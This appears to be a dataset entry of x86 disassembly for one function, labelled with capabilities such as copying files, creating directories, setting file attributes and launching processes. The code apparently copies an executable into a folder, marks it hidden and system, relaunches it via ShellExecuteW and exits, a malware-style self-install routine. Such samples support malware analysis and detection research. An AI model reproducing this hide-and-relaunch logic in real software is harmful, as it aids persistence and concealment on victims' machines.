Function at 0xb2ce34
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
mov edi, edx
mov byte [esp + 0x17], cl
push edi
call fcn.00b5bb56
mov ebp, 0xb95308
pop ecx
test eax, eax
je 0xb2ce9b
push 0
mov ecx, ebp
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
push ebx
push 0xb86618
mov edx, ebp
call fcn.00b29196
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00b23014
pop ecx
mov esi, 0xb952d8
push eax
mov ecx, esi
call fcn.00b21f13
lea ecx, [esp + 0x18]
call fcn.00b21f09
jmp 0xb2cebb
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
mov dl, byte [esp + 0x17]
push ebx
call fcn.00b2da6f
pop ecx
mov esi, 0xb952d8
push eax
mov ecx, esi
call fcn.00b21f13
lea ecx, [esp + 0x30]
call fcn.00b21f09
mov ecx, esi
call fcn.00b21f04
push eax
mov ebp, 0xb92b38
push ebp
call fcn.00b5f9a4
pop ecx
pop ecx
test eax, eax
jne 0xb2cefa
mov ecx, 0xb952c0
call fcn.00b21f04
push eax
push ecx
call fcn.00b2cd48
pop ecx
pop ecx
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
push 0
mov ecx, esi
call fcn.00b21f04
push eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileW]
call ebp
test eax, eax
jne 0xb2cfd4
cmp byte [esp + 0x17], 0x36
je 0xb2cfd4
push edi
call fcn.00b5bb56
mov dl, 0x36
pop ecx
lea ecx, [esp + 0x30]
test eax, eax
je 0xb2cf84
push edi
call fcn.00b2da6f
pop ecx
push eax
mov ecx, 0xb95308
call fcn.00b21f13
lea ecx, [esp + 0x30]
call fcn.00b21f09
push ebx
push 0xb86618
mov edx, 0xb95308
lea ecx, [esp + 0x20]
call fcn.00b29196
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00b23014
pop ecx
push eax
mov ecx, esi
call fcn.00b21f13
lea ecx, [esp + 0x30]
call fcn.00b21f09
lea ecx, [esp + 0x18]
jmp 0xb2cf97
push ebx
call fcn.00b2da6f
pop ecx
push eax
mov ecx, esi
call fcn.00b21f13
lea ecx, [esp + 0x30]
call fcn.00b21f09
push 0
mov ecx, 0xb95308
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
mov ecx, esi
call fcn.00b21f04
push eax
mov ebx, 0xb92b38
push ebx
call ebp
test eax, eax
jne 0xb2cfd4
push ebx
mov ecx, esi
call fcn.00b29092
xor al, al
jmp 0xb2cef2
mov ecx, 0xb952c0
call fcn.00b21f04
push eax
push ecx
call fcn.00b2cd48
cmp byte [esp + 0x58], 1
pop ecx
pop ecx
jne 0xb2d01a
push 7
mov ecx, esi
call fcn.00b21f04
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call ebx
push edi
call fcn.00b5bb56
pop ecx
test eax, eax
je 0xb2d01a
push 7
mov ecx, 0xb95308
call fcn.00b21f04
push eax
call ebx
cmp byte [esp + 0x54], 0
je 0xb2d062
sub esp, 0x1c
mov ecx, esp
push 0xb92b38
call fcn.00b2417e
push 0xb86f7c
mov edx, 0xb952f0
lea ecx, [esp + 0x50]
call fcn.00b3bcef
mov ecx, eax
call fcn.00b21f04
mov edx, eax
mov ecx, closesocket
call fcn.00b3384f
add esp, 0x20
lea ecx, [esp + 0x30]
call fcn.00b21f09
push dword [0xb92d44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
mov eax, 0xb86478
mov ecx, esi
push eax
push eax
call fcn.00b21f04
push eax
push 0xb86118
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0xb2d09b
call fcn.00b2d0a4
jmp 0xb2cfcd
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]